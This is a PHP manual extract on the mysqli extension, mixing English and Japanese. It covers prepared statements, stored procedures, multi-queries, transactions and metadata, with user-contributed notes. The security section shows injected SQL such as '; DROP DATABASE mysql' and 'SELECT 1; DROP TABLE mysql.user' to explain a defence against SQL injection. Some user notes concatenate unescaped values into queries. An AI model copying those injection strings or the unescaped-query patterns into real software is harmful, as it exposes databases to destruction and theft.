Every prepared statement occupies server resources. Statements should be closed explicitly immediately after use. If not done explicitly, the statement will be closed when the statement handle is freed by PHP.

Using a prepared statement is not always the most efficient way of executing a statement. A prepared statement executed only once causes more client-server round-trips than a non-prepared statement. This is why the SELECT is not run as a prepared statement above.

Also, consider the use of the MySQL multi-INSERT SQL syntax for INSERTs. For the example, multi-INSERT requires less round-trips between the server and client than the prepared statement shown above.

例4 Less round trips using multi-INSERT SQL

<?php
if (!$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3), (4)")) {
    echo "Multi-INSERT failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Result set values data types

The MySQL Client Server Protocol defines a different data transfer protocol for prepared statements and non-prepared statements. Prepared statements are using the so called binary protocol. The MySQL server sends result set data "as is" in binary format. Results are not serialized into strings before sending. The client libraries do not receive strings only. Instead, they will receive binary data and try to convert the values into appropriate PHP data types. For example, results from an SQL INT column will be provided as PHP integer variables.

例5 Native datatypes

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

上の例の出力は以下となります。

id = 1 (integer)
label = a (string)

This behavior differs from non-prepared statements. By default, non-prepared statements return all results as strings. This default can be changed using a connection option. If the connection option is used, there are no differences.

Fetching results using bound variables

Results from prepared statements can either be retrieved by binding output variables, or by requesting a mysqli_result object.

Output variables must be bound after statement execution. One variable must be bound for every column of the statements result set.

例6 Output variable binding

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$out_id    = NULL;
$out_label = NULL;
if (!$stmt->bind_result($out_id, $out_label)) {
    echo "Binding output parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

while ($stmt->fetch()) {
    printf("id = %s (%s), label = %s (%s)\n", $out_id, gettype($out_id), $out_label, gettype($out_label));
}
?>

上の例の出力は以下となります。

id = 1 (integer), label = a (string)

Prepared statements return unbuffered result sets by default. The results of the statement are not implicitly fetched and transferred from the server to the client for client-side buffering. The result set takes server resources until all results have been fetched by the client. Thus it is recommended to consume results timely. If a client fails to fetch all results or the client closes the statement before having fetched all data, the data has to be fetched implicitly by mysqli.

It is also possible to buffer the results of a prepared statement using mysqli_stmt_store_result().

Fetching results using mysqli_result interface

Instead of using bound results, results can also be retrieved through the mysqli_result interface. mysqli_stmt_get_result() returns a buffered result set.

例7 Using mysqli_result to fetch results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test ORDER BY id ASC"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
     echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!($res = $stmt->get_result())) {
    echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;
}

var_dump($res->fetch_all());
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  array(2) {
    [0]=>
    int(1)
    [1]=>
    string(1) "a"
  }
}

Using the mysqli_result interface offers the additional benefit of flexible client-side result set navigation.

例8 Buffered result set for flexible read out

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a'), (2, 'b'), (3, 'c')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
     echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!($res = $stmt->get_result())) {
    echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;
}

for ($row_no = ($res->num_rows - 1); $row_no >= 0; $row_no--) {
    $res->data_seek($row_no);
    var_dump($res->fetch_assoc());
}
$res->close();
?>

上の例の出力は以下となります。

array(2) {
  ["id"]=>
  int(3)
  ["label"]=>
  string(1) "c"
}
array(2) {
  ["id"]=>
  int(2)
  ["label"]=>
  string(1) "b"
}
array(2) {
  ["id"]=>
  int(1)
  ["label"]=>
  string(1) "a"
}

Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly. A hint must be provided to the server for the type of bound variable, to create an appropriate conversion. See the mysqli_stmt_bind_param() function for more information.

Such a separation sometimes considered as the only security feature to prevent SQL injection, but the same degree of security can be achieved with non-prepared statements, if all the values are formatted correctly. It should be noted that correct formatting is not the same as escaping and involves more logic than simple escaping. Thus, prepared statements are simply a more convenient and less error-prone approach to this element of database security.

Client-side prepared statement emulation

The API does not include emulation for client-side prepared statement emulation.

Quick prepared - non-prepared statement comparison

The table below compares server-side prepared and non-prepared statements.

Comparison of prepared and non-prepared statements
 | Prepared Statement | Non-prepared statement
Client-server round trips, SELECT, single execution | 2 | 1
Statement string transferred from client to server | 1 | 1
Client-server round trips, SELECT, repeated (n) execution | 1 + n | n
Statement string transferred from client to server | 1 template, n times bound parameter, if any | n times together with parameter, if any
Input parameter binding API | Yes, automatic input escaping | No, manual input escaping
Output variable binding API | Yes | No
Supports use of mysqli_result API | Yes, use mysqli_stmt_get_result() | Yes
Buffered result sets | Yes, use mysqli_stmt_get_result() or binding with mysqli_stmt_store_result() | Yes, default of mysqli_query()
Unbuffered result sets | Yes, use output binding API | Yes, use mysqli_real_query() with mysqli_use_result()
MySQL Client Server protocol data transfer flavor | Binary protocol | Text protocol
Result set values SQL data types | Preserved when fetching | Converted to string or preserved when fetching
Supports all SQL statements | Recent MySQL versions support most but not all | Yes

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli::prepare()
  • mysqli_stmt::prepare()
  • mysqli_stmt::execute()
  • mysqli_stmt::bind_param()
  • mysqli_stmt::bind_result()

User Contributed Notes

There are no user contributed notes for this page.


Stored Procedures

The MySQL database supports stored procedures. A stored procedure is a subroutine stored in the database catalog. Applications can call and execute the stored procedure. The CALL SQL statement is used to execute a stored procedure.

Parameter

Stored procedures can have IN, INOUT and OUT parameters, depending on the MySQL version. The mysqli interface has no special notion for the different kinds of parameters.

IN parameter

Input parameters are provided with the CALL statement. Please, make sure values are escaped correctly.

例1 Calling a stored procedure

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query("CREATE PROCEDURE p(IN id_val INT) BEGIN INSERT INTO test(id) VALUES(id_val); END;")) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("CALL p(1)")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($res = $mysqli->query("SELECT id FROM test"))) {
    echo "SELECT failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

array(1) {
  ["id"]=>
  string(1) "1"
}

INOUT/OUT parameter

The values of INOUT/OUT parameters are accessed using session variables.

例2 Using session variables

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p(OUT msg VARCHAR(50)) BEGIN SELECT "Hi!" INTO msg; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("SET @msg = ''") || !$mysqli->query("CALL p(@msg)")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($res = $mysqli->query("SELECT @msg as _p_out"))) {
    echo "Fetch failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$row = $res->fetch_assoc();
echo $row['_p_out'];
?>

上の例の出力は以下となります。

Hi!

Application and framework developers may be able to provide a more convenient API using a mix of session variables and databased catalog inspection. However, please note the possible performance impact of a custom solution based on catalog inspection.

Handling result sets

Stored procedures can return result sets. Result sets returned from a stored procedure cannot be fetched correctly using mysqli_query(). The mysqli_query() function combines statement execution and fetching the first result set into a buffered result set, if any. However, there are additional stored procedure result sets hidden from the user which cause mysqli_query() to fail returning the user expected result sets.

Result sets returned from a stored procedure are fetched using mysqli_real_query() or mysqli_multi_query(). Both functions allow fetching any number of result sets returned by a statement, such as CALL. Failing to fetch all result sets returned by a stored procedure causes an error.

例3 Fetching results from stored procedures

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->multi_query("CALL p()")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

do {
    if ($res = $mysqli->store_result()) {
        printf("---\n");
        var_dump($res->fetch_all());
        $res->free();
    } else {
        if ($mysqli->errno) {
            echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;
        }
    }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

上の例の出力は以下となります。

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Use of prepared statements

No special handling is required when using the prepared statement interface for fetching results from the same stored procedure as above. The prepared statement and non-prepared statement interfaces are similar. Please note, that not every MYSQL server version may support preparing the CALL SQL statement.

例4 Stored Procedures and Prepared Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("CALL p()"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

do {
    if ($res = $stmt->get_result()) {
        printf("---\n");
        var_dump(mysqli_fetch_all($res));
        mysqli_free_result($res);
    } else {
        if ($stmt->errno) {
            echo "Store failed: (" . $stmt->errno . ") " . $stmt->error;
        }
    }
} while ($stmt->more_results() && $stmt->next_result());
?>

Of course, use of the bind API for fetching is supported as well.

例5 Stored Procedures and Prepared Statements using bind API

<?php
if (!($stmt = $mysqli->prepare("CALL p()"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

do {

    $id_out = NULL;
    if (!$stmt->bind_result($id_out)) {
        echo "Bind failed: (" . $stmt->errno . ") " . $stmt->error;
    }

    while ($stmt->fetch()) {
        echo "id = $id_out\n";
    }
} while ($stmt->more_results() && $stmt->next_result());
?>

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

Valverde 05-Jul-2019 08:16
<?php

// Store procedure call without params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
*******************************************************************
<?php

// Store procedure call using params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_query($MyConnection ,"SET @p0='".$MyParam1."'");
mysqli_query($MyConnection ,"SET @p1='".$MyParam2."'");
mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure (@p0,@p1)") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
paulo dot reis dot rosa at gmail dot com 27-Nov-2016 09:39
<?php
    /**
    * Small function to facilitate call procedure with multiple arguments (supports in/inout/out)
    */
    $db = new mysqli('localhost', 'root', 'password', 'database');

    $lt_query = callProcedure(
        $db,
        "stored_procedure",
        array(
            "in_param1"    => "Value1",
            "in_param2"    => "Value2",
            "inout_param3" => "Value3",
            "out_param4"   => "",
            "out_param5"   => ""
        ));

    function callProcedure( $po_db, $pv_proc, $pt_args )
    {
        if (empty($pv_proc) || empty($pt_args))
        {
            return false;
        }
        $lv_call   = "CALL `$pv_proc`(";
        $lv_select = "SELECT";
        $lv_log = "";
        foreach($pt_args as $lv_key=>$lv_value)
        {
            $lv_query = "SET @_$lv_key = '$lv_value'";
            $lv_log .= $lv_query.";\n";
            if (!$lv_result = $po_db->query($lv_query))
            {
                /* Write log */
                return false;
            }
            $lv_call   .= " @_$lv_key,";
            $lv_select .= " @_$lv_key AS $lv_key,";
        }
        $lv_call   = substr($lv_call, 0, -1).")";
        $lv_select = substr($lv_select, 0, -1);
        $lv_log .= $lv_call;
        if ($lv_result = $po_db->query($lv_call))
        {
            if($lo_result = $po_db->query($lv_select))
            {
                $lt_result = $lo_result->fetch_assoc();
                $lo_result->free();
                return $lt_result;
            }
            /* Write log */
            return false;
        }
        /* Write log */
        return false;
    }

    /**
    * This will return an array like this:
    *
    * $lt_query = array(
    *     'in_param1'   = 'Value1', // Same value as in call
    *     'in_param2'   = 'Value2', // Same value as in call
    *     'inout_param3' = ?,       // Value is changed accordingly
    *     'out_param4'   = ?,       // Value is changed accordingly
    *     'out_param5'   = ?        // Value is changed accordingly
    * )
    */
?>
Jonathon 24-May-2013 05:30
<?php
/*
*
*Creating Session Variable with Prepared Statement
*
*for IN/OUT variable to stored procedure
*
*using Data Binding to get the data back
*
*@params
*    $mysql: mysqli() instance
*    $var: input and output paramater to stored procedure
*/
 function stored_procedure($mysql , &$var = 'hello world')
    {
        $stmt = $mysql->stmt_init(); // initialize statement

        if($stmt->prepare("SET @var = ?")) // prepare set command
        {
            $var = $mysql->real_escape_string($var); // escape input

            $stmt->bind_param('s',$var); // bind data

            $stmt->execute(); // create session variable

            $stmt->free_result(); // free resutl

            if($stmt->prepare("CALL stored_procedure(@var)"))//call stored procedure with database server session variable
            {
                $stmt->execute();

                $stmt->free_result();
            }

            if($stmt->prepare(" SELECT @var AS var ")) // prepare command to select the database server session variable
            {
                $stmt->execute(); // execure

                $out_var = NULL;

                $stmt->bind_result($out_var); // bind

                $stmt->fetch(); // fetch one row

                echo $out_var.'<br />';// display OUT variable
            }
        }
    }
?>


Multiple Statements

MySQL optionally allows having multiple statements in one statement string. Sending multiple statements at once reduces client-server round trips but requires special handling.

Multiple statements or multi queries must be executed with mysqli_multi_query(). The individual statements of the statement string are separated by semicolon. Then, all result sets returned by the executed statements must be fetched.

The MySQL server allows having statements that do return result sets and statements that do not return result sets in one multiple statement.

例1 Multiple Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

if (!$mysqli->multi_query($sql)) {
    echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

do {
    if ($res = $mysqli->store_result()) {
        var_dump($res->fetch_all(MYSQLI_ASSOC));
        $res->free();
    }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "0"
  }
}
array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "1"
  }
}

Security considerations

The API functions mysqli_query() and mysqli_real_query() do not set a connection flag necessary for activating multi queries in the server. An extra API call is used for multiple statements to reduce the likeliness of accidental SQL injection attacks. An attacker may try to add statements such as ; DROP DATABASE mysql or ; SELECT SLEEP(999). If the attacker succeeds in adding SQL to the statement string but mysqli_multi_query is not used, the server will not execute the second, injected and malicious SQL statement.

例2 SQL Injection

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
$res    = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
if (!$res) {
    echo "Error executing query: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

上の例の出力は以下となります。

Error executing query: (1064) You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax
to use near 'DROP TABLE mysql.user' at line 1

Prepared statements

Use of the multiple statement with prepared statements is not supported.

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

velthuijsen 03-Jul-2018 07:58
Suggested improvement(s) to example 1.

reasons:
Multi_query only returns a non false response if a data/result set is returned and only checks for the first query entered. Switching the first SELECT query with the INSERT query will result in a premature exit of the example with the message "Multi query failed: (0)".
The example assumes that once the first query doesn't fail that the other queries have succeeded as well. Or rather it just exits without reporting that one of the queries after the first query failed seeing that if a query fails next_result returns false.

The changes in the example comes after the creation of the string $sql.

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

// changes to example 1 start here

// don't bother checking the result from multi_query since it will return false
// if the first query does not return data even if the query itself succeeds.
$mysqli->multi_query($sql);

do // while (true); // exit only on error or when there are no more queries to process
{
    // check if query currently being processed hasn't failed
    if (0 !== $mysqli->errno)
    {
        echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;
        break;
    }

    // store and possibly process result of the query,
    // both store_result & use_result will return false
    // for queries that do not return results (INSERT for example)
    if(false !== ($res = $mysqli->store_result() )
    {
        var_dump($res->fetch_all(MYSQLI_ASSOC));
            $res->free();
    }

    // exit loop if there ar no more queries to process
    if (false === ($mysqli->more_results() )
    {
        break;
    }

    // get result of the next query to process
    // don't bother to check for success/failure of the result
    // since at the start of the loop there is an error check &
    // report block.
    $mysqli->next_result()

} while (true); // exit only on error or when there are no more queries to process
?>

Note that the normal while ($mysqli->more_results() && $mysqli->next_result() has been replaced by two checks and  while (true);
This is due to the 'problem' that next_result will return false if the query in question failed.
So one either needs to do one last check after the while loop to check if there was an error or one has to split up the different actions.
The changes in the example do the splitting.


API support for transactions

The MySQL server supports transactions depending on the storage engine used. Since MySQL 5.5, the default storage engine is InnoDB. InnoDB has full ACID transaction support.

Transactions can either be controlled using SQL or API calls. It is recommended to use API calls for enabling and disabling the autocommit mode and for committing and rolling back transactions.

例1 Setting autocommit mode with SQL and through the API

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Recommended: using API to control transactional settings */
$mysqli->autocommit(false);

/* Won't be monitored and recognized by the replication and the load balancing plugin */
$mysqli->query('SET AUTOCOMMIT = 0');

Optional feature packages, such as the replication and load balancing plugin, can easily monitor API calls. The replication plugin offers transaction aware load balancing, if transactions are controlled with API calls. Transaction aware load balancing is not available if SQL statements are used for setting autocommit mode, committing or rolling back a transaction.

例2 Commit and rollback

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$mysqli->autocommit(false);

$mysqli->query("INSERT INTO test(id) VALUES (1)");
$mysqli->rollback();

$mysqli->query("INSERT INTO test(id) VALUES (2)");
$mysqli->commit();

Please note, that the MySQL server cannot roll back all statements. Some statements cause an implicit commit.

See also

  • mysqli::autocommit()
  • mysqli::begin_transaction()
  • mysqli::commit()
  • mysqli::rollback()

User Contributed Notes

There are no user contributed notes for this page.


Metadata

A MySQL result set contains metadata. The metadata describes the columns found in the result set. All metadata sent by MySQL is accessible through the mysqli interface. The extension performs no or negligible changes to the information it receives. Differences between MySQL server versions are not aligned.

Meta data is access through the mysqli_result interface.

例1 Accessing result set meta data

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$res = $mysqli->query("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
var_dump($res->fetch_fields());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  object(stdClass)#3 (13) {
    ["name"]=>
    string(4) "_one"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(1)
    ["length"]=>
    int(1)
    ["charsetnr"]=>
    int(63)
    ["flags"]=>
    int(32897)
    ["type"]=>
    int(8)
    ["decimals"]=>
    int(0)
  }
  [1]=>
  object(stdClass)#4 (13) {
    ["name"]=>
    string(4) "_two"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(5)
    ["length"]=>
    int(5)
    ["charsetnr"]=>
    int(8)
    ["flags"]=>
    int(1)
    ["type"]=>
    int(253)
    ["decimals"]=>
    int(31)
  }
}

Prepared statements

Meta data of result sets created using prepared statements are accessed the same way. A suitable mysqli_result handle is returned by mysqli_stmt_result_metadata().

例2 Prepared statements metadata

<?php
$stmt = $mysqli->prepare("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
$stmt->execute();
$res = $stmt->result_metadata();
var_dump($res->fetch_fields());
?>

See also

  • mysqli::query()
  • mysqli_result::fetch_fields()

User Contributed Notes

There are no user contributed notes for this page.


要件

これらの関数を有効にするには、mysqli 拡張サポートを 有効にして PHP をコンパイルする必要があります。

MySQL 8

PHP 7.1.16 より前のバージョン、もしくは PHP 7.2.4 より前の 7.2系の PHP では、 MySQL 8 サーバのデフォルトパスワードプラグインを mysql_native_password に設定するようにしてください。 さもないと、 The server requested authentication method unknown to the client [caching_sha2_password] のようなエラーを見ることになります。たとえあなたが caching_sha2_password を使っていなくても、です。

これは MySQL 8 のデフォルトが 古い PHP (mysqlnd) のリリースが認識していないプラグイン caching_sha2_password だからです。 かわりに、my.cnf の設定を default_authentication_plugin=mysql_native_password と変更してください。 caching_sha2_password プラグインは、 将来のPHPのリリースでサポートされます。 しばらくの間は、 mysql_xdevapi 拡張機能がサポートを行うことになるでしょう。

User Contributed Notes

james at jmwhite dot co dot uk 25-Feb-2021 06:17
PHP 7.4 now supports MySQL with caching_sha2_password, although it is a bit unclear around older versions, there seems to be conflicting reports. What is the support of caching_sha2_password in PHP < 7.4?
alvaro at demogracia dot com 01-Aug-2018 04:21
Supported authentication methods are listed in the "Loaded plugins" row of the "mysqlnd" section in phpinfo(). Look for plugins that start with "auth_plugin_...".


インストール手順

mysqli 拡張モジュールが使えるようになったのは PHP バージョン 5.0.0 以降です。また、MySQL Native Driver が PHP に含まれるようになったのはバージョン 5.3.0 以降です。

Linux でのインストール

一般的な Unix ディストリビューションには、バイナリ版の PHP がインストールされています。 これらのバイナリ版は、通常は MySQL 拡張モジュールに対応したものになっています。 しかし、拡張モジュールライブラリ自身を別パッケージでインストールする必要があるでしょう。 使用しているディストリビューションのパッケージマネージャで確認してみましょう。

たとえば Ubuntu なら、php5-mysql パッケージをインストールすれば、 ext/mysql、ext/mysqli、そして pdo_mysql をインストールできます。CentOS の場合は php-mysql パッケージを使えば、同じものをインストールできます。

この拡張モジュールを自分でコンパイルすることもできます。 PHP をソースからビルドすれば、使いたい MySQL 拡張モジュールを指定したり 各拡張モジュールが使用するクライアントライブラリを選択したりすることができます。

クライアントライブラリには MySQL Native Driver を使うことを推奨します。 そのほうがパフォーマンスが向上し、MySQL Client Library を使用した場合には使えない機能も使用することができます。 PHP の MySQL Native Driver とは? に、MySQL Native Driver の利点が簡単にまとめられています。

/path/to/mysql_config は、MySQL Server に含まれる mysql_config プログラムの場所を表します。

mysqli のコンパイル時のサポート表
PHP バージョン | デフォルト | 設定オプション: mysqlnd | 設定オプション: libmysqlclient | 変更履歴
5.4.x 以降 | mysqlnd | --with-mysqli | --with-mysqli=/path/to/mysql_config | mysqlnd がデフォルトになりました。
5.3.x | libmysqlclient | --with-mysqli=mysqlnd | --with-mysqli=/path/to/mysql_config | mysqlnd が使えるようになりました。
5.0.x, 5.1.x, 5.2.x | libmysqlclient | 利用できません | --with-mysqli=/path/to/mysql_config | mysqlnd は使えません。

MySQL 拡張モジュールとクライアントライブラリの組み合わせは自由であることに注意しましょう。 たとえば、MySQL 拡張モジュールは MySQL Client Library (libmysqlclient) を使うようにして有効にし、 一方 mysqli 拡張モジュールは MySQL Native Driver を使うようにするということも可能です。 しかし、それ以外にも拡張モジュールとクライアントライブラリのすべての組み合わせが使用可能です。

Windows システムでのインストール

Windows の場合、PHP のインストールにはたいていバイナリインストーラを使用します。

PHP 5.3.0 以降

Windows の PHP バージョン 5.3 以降では、 mysqli 拡張モジュールはデフォルトで有効になっており、 また MySQL Native Driver を使うようになっています。つまり、 libmysql.dll にアクセスできるようにする必要はないということです。

PHP 5.0, 5.1, 5.2

これらの旧バージョンの PHP (PHP 5.2 は 2011年1月6日にサポートを終了しています) では、mysqli を有効にしてクライアントライブラリを指定するための設定が必要です。

